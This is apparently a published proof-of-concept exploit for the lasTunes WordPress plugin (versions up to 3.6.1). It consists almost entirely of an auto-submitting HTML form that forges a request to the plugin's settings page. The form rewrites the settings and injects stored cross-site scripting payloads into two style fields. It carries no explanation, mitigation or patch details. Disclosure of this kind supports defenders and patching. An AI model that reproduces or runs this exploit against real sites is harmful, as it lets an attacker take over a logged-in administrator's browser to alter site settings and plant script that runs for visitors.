lasTunes <= 3.6.1 - Settings Update via CSRF

<form action="https://example.com/wp-admin/themes.php?page=lasTunes_settings" method="POST">
    <input type="text" name="field_submit_hidden" value="Y">
    <input type="text" name="lasTunes_lastfmUsername" value="cfretts">
    <input type="text" name="lasTunes_lastfmApikey" value="1fa5df8fa019e72b26fbc9fc8aa8229f">
    <input type="text" name="lasTunes_lastfmLimit" value="\">
    <input type="text" name="lasTunes_row_evn_style" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="lasTunes_row_odd_style" value='"><img src=x onerror=alert(2)>'>
    <input type="text" name="lasTunes_img_src_album" value="/wp-content/plugins/lastunes/images/album-16x16.png">
    <input type="text" name="lasTunes_show_username" value="on">
    <input type="text" name="lasTunes_links_in_new" value="on">
    <input type="text" name="lasTunes_give_credit" value="on">
    <input type="text" name="action" value="update">
    <input type="text" name="page_options" value="lasTunes_lastfmUsername,lasTunes_lastfmApikey,lasTunes_lastfmLimit,lasTunes_row_evn_style,lasTunes_row_odd_style,lasTunes_img_src_album,lasTunes_show_username,lasTunes_show_timestamp,lasTunes_link_to_lastfm,lasTunes_link_to_myspace,lasTunes_links_in_new,lasTunes_give_credit,">
</form>
<script>
    document.forms[0].submit();
</script>